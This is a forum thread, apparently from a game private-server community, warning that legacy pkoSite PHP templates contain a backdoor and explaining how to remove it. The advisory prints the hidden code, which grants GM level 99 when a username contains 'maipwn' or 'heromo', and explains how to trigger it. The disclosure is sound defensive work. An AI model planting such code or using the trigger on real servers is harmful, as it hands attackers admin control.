[SECURITY ADVISORY] Critical GM 99 Backdoor in Legacy pkoSite Template

cortezsantos

Pirate
Registered
LV
0
 
Joined
Jul 11, 2026
Messages
15
Reaction score
0
Points
6
[SECURITY ALERT] GM 99 Backdoor in pkoSite templates (includes/inc.functions.security.php)
I am posting an important alert for anyone using or having downloaded classic pkoSite templates (based on the older architecture using Smarty / PHP 5). I have discovered a critical privilege-escalation backdoor silently embedded within one of the site's authentication files.

1. Where is it located?
File: includes/inc.functions.security.php

Function: loginUser($username, $password)

Approximate location: Lines 163–166 (immediately following successful user authentication against the `account_login` table).

2. The specific malicious code snippet
The original file contained this block:

if(preg_match('/maipwn/i',$row['name']) || preg_match('/heromo/i',$row['name']))
{
$query = doQuery('UPDATE account SET gm = 99 WHERE act_id = '.$row['id'],DATABASE_GAME);

}

3. How does it work in practice?
Triggered by username: The code uses `preg_match` with the `/i` (case-insensitive) modifier. Any account with a username containing the strings "maipwn" or "heromo" (regardless of position—beginning, middle, or end—and regardless of case; e.g., `maipwn123`, `xheromox`, `test_maipwn`) will trigger the condition.

Direct SQL privilege escalation: When such an account logs into the site, the PHP script executes a silent `UPDATE` on the `account` table within the GameDB, elevating that account to GM level 99 (`gm = 99`). Full compromise: Immediately afterward, the website session sets `$_SESSION['level'] = 99`, granting access to the server's web administration panel. Furthermore, upon logging into the game via the client, the account will have access to all Super-GM commands (e.g., `&make`, `&summon`, etc.).

4. What was done to fix it?
Removal of the malicious code: Open the file `includes/inc.functions.security.php`, locate the `loginUser()` function, and completely delete the `if(preg_match(...))` block.
 
First thing first, dont use old top web anymore. Invest or let AI do custom for you.
Thanks for the feedback, mate!

I totally agree with you on that. The only reason I was messing around with this legacy template was to test and reuse some specific database queries/functions while doing local experiments.

I already have a modern website project planned for my server. I only brought this vulnerability up here because I know several community friends and server owners who still run these classic templates just to maintain that nostalgic 2008–2010 ToP aesthetic and game essence. Since many of them don't audit the PHP code line by line, I felt it was important to warn everyone who might still have this backdoor active.

Appreciate the advice!
 
  • PinkSquidHeartEyes
Reactions: Pixel
Thanks for the feedback, mate!

I totally agree with you on that. The only reason I was messing around with this legacy template was to test and reuse some specific database queries/functions while doing local experiments.

I already have a modern website project planned for my server. I only brought this vulnerability up here because I know several community friends and server owners who still run these classic templates just to maintain that nostalgic 2008–2010 ToP aesthetic and game essence. Since many of them don't audit the PHP code line by line, I felt it was important to warn everyone who might still have this backdoor active.

Appreciate the advice!
Well still a good point because for sure many of here still using it, at least now they know.
 
  • Like
Reactions: cortezsantos
Acho que esse backdoor é um dos mais antigos do top, praticamente TODOS os sites da era da pedra tem o mesmo BD